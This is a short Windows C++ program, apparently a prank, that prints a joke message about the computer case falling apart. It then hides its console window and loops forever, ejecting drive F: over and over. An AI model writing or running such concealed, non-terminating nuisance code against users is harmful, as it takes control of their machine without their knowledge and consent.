#include <Windows.h>
#include <iostream>
int main() {
// 先打印文字
std::cout << "机箱散架中……" << std::endl;
Sleep(1000);
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(true){
HANDLE hDrive = CreateFileA(
"\\\\.\\F:",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDrive != INVALID_HANDLE_VALUE) {
DWORD bytesReturned;
DeviceIoControl(
hDrive,
IOCTL_STORAGE_EJECT_MEDIA,
NULL, 0,
NULL, 0,
&bytesReturned,
NULL
);
CloseHandle(hDrive);
}
}
return 0;
}